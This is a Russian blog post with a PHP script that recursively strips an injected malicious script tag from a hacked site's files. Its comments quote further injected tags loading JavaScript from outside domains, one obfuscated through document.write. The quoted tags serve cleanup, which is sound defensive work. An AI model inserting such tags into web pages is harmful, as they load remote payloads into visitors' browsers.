Обратился ко мне на днях приятель с просьбой разобраться, почему его сайт не работает. При детальном рассмотрении оказалось, что по неведомым причинам в конец строки более чем 1000 файлов сайта с расширениями *.php и *.html был внедрен сторонний код:

Код:

 

<script src="http://microsprogram.com/editpage.js"></script>

 

Поскольку вручную менять код файлов - титанический и глупый труд, а лень, как известно, двигатель - прогресса, решено было написать небольшой скрипт под названием files123.php, удаляющий одинаковый зловредный код из всех файлов сайта.

Вот что получилось:

Код:

 

<?php
$root  =  $_SERVER['DOCUMENT_ROOT'];
$search = '<script src="http://microsprogram.com/editpage.js"></script>'; //строка, которую нужно найти в каждом файле и заменить на ''
$thisfile = 'files123.php'; //чтобы в процессе не заменить искомую строку в этом же файле
function find_and_replace($dir,$search,$thisfile)
{

$new_dir = null;
$dir_files = opendir($dir);
    while(false !== ($file = readdir($dir_files)))
    {

        if($file != '.' && $file != '..')
        $new_dir[] = $dir."/".$file;
    }

        if($new_dir)
        foreach($new_dir as $check )
        {
              if((is_file($check)) && (basename($check) !== $thisfile) && ((strtolower(substr($check,-4)) === '.php' ) || (strtolower(substr($check,-4)) === '.tpl') || (strtolower(substr($check,-5)) === '.html')
|| (strtolower(substr($check,-3)) === '.js'))) {
                $handle = fopen($check, "rb");
                $contents = '';
                while (!feof($handle)) {
                  $contents .= fread($handle, 8192);
                }
                fclose($handle);
                if (strpos($contents,$search) !== false) {
                    $file = fopen ($check,"w+");
                    $str = str_replace($search,'',$contents);
                    fputs($file, $str);
                    fclose ($file);
                    echo $check."<br>";
                    }
              }
              elseif(is_dir($check))
              find_and_replace($check,$search,$thisfile);
        }
}
find_and_replace($root,$search,$thisfile);

 

Пользуйтесь. Надеюсь кому-нибудь понадобится.

Comments   

+1 # RE: Поиск и замена одинаковой строки всех файлов сайтаrozen 2011-08-30 00:15
Спасибо!
Reply | Reply with quote | Quote | Report to administrator
0 # Опять двадцать пятьEcolora 2011-10-04 07:12
Печально, но эта malware (малварь) опять просочилась на сайт. На этот раз код был:
< script src="http://mic rossofting.com/ sitecookies.js" >< /script >

Придется похоже проводить аудит безопасности сайта моего знакомого...
Reply | Reply with quote | Quote | Report to administrator
0 # Опять двадцать пятьEcolora 2011-10-19 05:53
На этот раз код такой:

< script src="http://inc ludest.com/foot er.js" >< /script >

Даже забавно... постоянно терь будем лечиться. :-)))
Reply | Reply with quote | Quote | Report to administrator
0 # Ещё такой вариантEcolora 2012-03-02 01:24
< script src="http://sta tisticbyhand.mo oo.com/style.js ">< /script >
Reply | Reply with quote | Quote | Report to administrator
0 # Еще вот такойEcolora 2013-02-06 09:05
document.write( '< scr'+'ipt src="http://rat ingsite.org/rat ingsite.php" >< /scr'+'ipt >');}
Reply | Reply with quote | Quote | Report to administrator

Add comment


Security code
Refresh